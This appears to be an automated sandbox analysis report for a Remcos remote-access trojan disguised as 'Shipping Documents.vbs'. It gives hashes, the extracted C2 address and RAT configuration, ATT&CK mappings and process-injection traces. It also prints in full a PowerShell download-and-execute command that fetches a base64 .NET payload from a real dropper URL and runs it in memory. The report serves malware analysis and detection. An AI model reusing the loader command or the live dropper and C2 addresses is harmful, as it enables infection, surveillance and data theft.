remcos | 50d77e9665f36bbd70b2c09236f5c4894a10764d297eeb62f04bea73fe61d080

General

Target

Shipping Documents.vbs
Size

238KB
MD5

c04015263d6b7d7c61500d4697482ded
SHA1

c8e2650daceb47092a0148ddbb01589f8e0753cf
SHA256

50d77e9665f36bbd70b2c09236f5c4894a10764d297eeb62f04bea73fe61d080
SHA512

b47ba415a8ead211b5df22d63cd7ad3362b5bff3d9dade22c3b945c5e109674a84cf90d27b5da20bdc0b4451c9a4b3622d9212953dd98527ba45e19c461585d4
SSDEEP

48:9K0VTMGN+ZjZfU6dx9MqoS3ALu0H0PzoDfqEXcGNg9IT:9Kk6jL9M+3Qu0ULmfz/T

Score

10^/10

remcos starmoneynew rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_nostartup

Extracted

Family

remcos

Botnet

StarMoneyNew

C2

185.252.178.35:41900

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-6RGOTF
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 3468 powershell.exe
12 3468 powershell.exe
20 3468 powershell.exe
21 3468 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3468 set thread context of 1960 3468 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

3468 powershell.exe
3468 powershell.exe
3468 powershell.exe
3468 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3468 powershell.exe

flow	pid	process
5	3468	powershell.exe
12	3468	powershell.exe
20	3468	powershell.exe
21	3468	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

description	pid	process	target process
PID 3468 set thread context of 1960	3468	powershell.exe	RegAsm.exe

pid	process
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3468	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3208 wrote to memory of 3468	3208	WScript.exe	powershell.exe
PID 3208 wrote to memory of 3468	3208	WScript.exe	powershell.exe
PID 3468 wrote to memory of 3928	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 3928	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 3928	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 1960	3468	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Documents.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_nostartup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.fsfgjdsvjsshdjaaaakemenn/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3928

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1960

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1960-135-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1960-136-0x00000000004327A4-mapping.dmp

Download
memory/1960-138-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1960-139-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1960-141-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1960-142-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3468-132-0x0000000000000000-mapping.dmp

Download
memory/3468-133-0x0000022E673F0000-0x0000022E67412000-memory.dmp

Filesize
136KB

Download
memory/3468-134-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download
memory/3468-137-0x00007FFC66290000-0x00007FFC66D51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads